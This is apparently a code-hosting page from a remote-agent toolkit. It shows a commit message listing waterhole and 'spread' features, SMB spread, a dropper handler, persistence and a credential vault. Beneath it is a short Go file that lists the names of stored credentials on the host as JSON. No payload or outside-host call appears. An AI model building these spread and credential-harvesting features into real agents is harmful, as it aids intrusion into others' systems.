Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
36 lines
826 B
Go
36 lines
826 B
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"runtime"
|
|
)
|
|
|
|
type credentialEntry struct {
|
|
Name string `json:"name"`
|
|
Source string `json:"source"`
|
|
Type string `json:"type,omitempty"`
|
|
}
|
|
|
|
type credentialVaultResult struct {
|
|
Platform string `json:"platform"`
|
|
Entries []credentialEntry `json:"entries"`
|
|
Count int `json:"count"`
|
|
Note string `json:"note,omitempty"`
|
|
}
|
|
|
|
// listCredentialVaultNames returns stored credential identifiers (no secrets).
|
|
func listCredentialVaultNames() string {
|
|
entries, note := platformCredentialNames()
|
|
result := credentialVaultResult{
|
|
Platform: runtime.GOOS,
|
|
Entries: entries,
|
|
Count: len(entries),
|
|
Note: note,
|
|
}
|
|
if result.Entries == nil {
|
|
result.Entries = []credentialEntry{}
|
|
}
|
|
b, _ := json.Marshal(result)
|
|
return string(b)
|
|
}
|